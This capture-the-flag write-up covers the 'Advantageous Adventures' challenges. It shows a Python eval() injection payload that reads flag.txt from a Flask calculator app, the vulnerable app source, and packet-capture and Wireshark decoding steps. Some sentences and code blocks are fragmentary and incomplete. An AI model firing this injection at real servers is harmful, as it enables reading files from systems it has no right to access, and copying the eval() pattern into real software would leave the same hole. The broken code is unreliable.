Managed to do up to AA-2 before I had to sleep as I had work the next day.
Woke up to solve AA-3 and AA-4!
The page offers a bunch of math calculators. Testing some simple payloads revealed that the backend was using Python's
eval()to generate the results.
Now, if we are going to read a flag, we are most probably going to be dealing with strings. If we are dealing with strings, one of the math operators is more useful than others: the
+operator is the concatenation operator in Python.
Using the simple payload
val1=''&val2=open('flag.txt').read(), we can make the server return the contents of
Did you get what you needed from Advantageous Adventures 1? You'll need a username and password from the first challenge to proceed. I heard that the Advantageous Adventures team was using what you received to communicate on a low level. Can you figure out how they're talking?
All info for this challenge must be derived from Advantageous Adventures 1.
We can import the os module.
['__pycache__', 'static', 'secret_script.py', 'secret_info', 'flag.txt', 'app.py', 'README.md', 'templates', 'Dockerfile']
from scapy.all import rdpcap, RadioTap, wrpcap
# run this on the file you get during the second challenge
# you don't need to understand all of it
packets = rdpcap('in.pcap')
fixed_packets = 
if len(packets) < 2153:
# must have at least 2153 packets
for packet in packets:
# I know eval is unsafe but stackoverflow is down when script was created
packet_bytes = eval(str(packet))
fixed_packet_bytes = packet_bytes[14:]
from flask import Flask, request, render_template
app = Flask(__name__)
return render_template("calculator.html", calculate_type="xor")
return render_template("calculator.html", calculate_type="add")
return render_template("calculator.html", calculate_type="mult")
val1 = request.form['val1']
val2 = request.form['val2']
if operation_index == 0:
return str(eval(val1) ^ eval(val2))
elif operation_index == 1:
return str(eval(val1) + eval(val2))
return str(eval(val1) * eval(val2))
except Exception as e:
return "An error occured"
We can use
dumpcapto capture the network traffic.
Capture 2000+ packets on the WiFi interface:
dumpcap -i wlo2 -P
After running the
secret_script.py, transfer the
Open in Wireshark, and we have our flag!
In Wireshark, we can decrypt the wireless traffic with the WiFi password found previously. This reveals another flag hidden in the data of the subsequent packets.
Shortly below the above flag, we can see lots of packets with repeated numbers, starting from
2222..., and so on. The number itself probably doesn't mean much - we're looking for a string. But the length (i.e. number of repeated numbers) varies for each packet. This could be one way to encode data.
In Wireshark: Export packets as JSON. Then we can run a script to extract the flag:
data = json.load(open('capture.json'))
result = ''
i = 1 # ith packet
j = 0 # number = 1
for packet in data:
if i < 500:
i += 1
packet_data = packet['_source']['layers']['data']
char = chr((int(packet_data['data.len']) + 4 ) // len(str(j)))
if not result.endswith(char):
result += char
j += 1
i += 1
if i > 2310: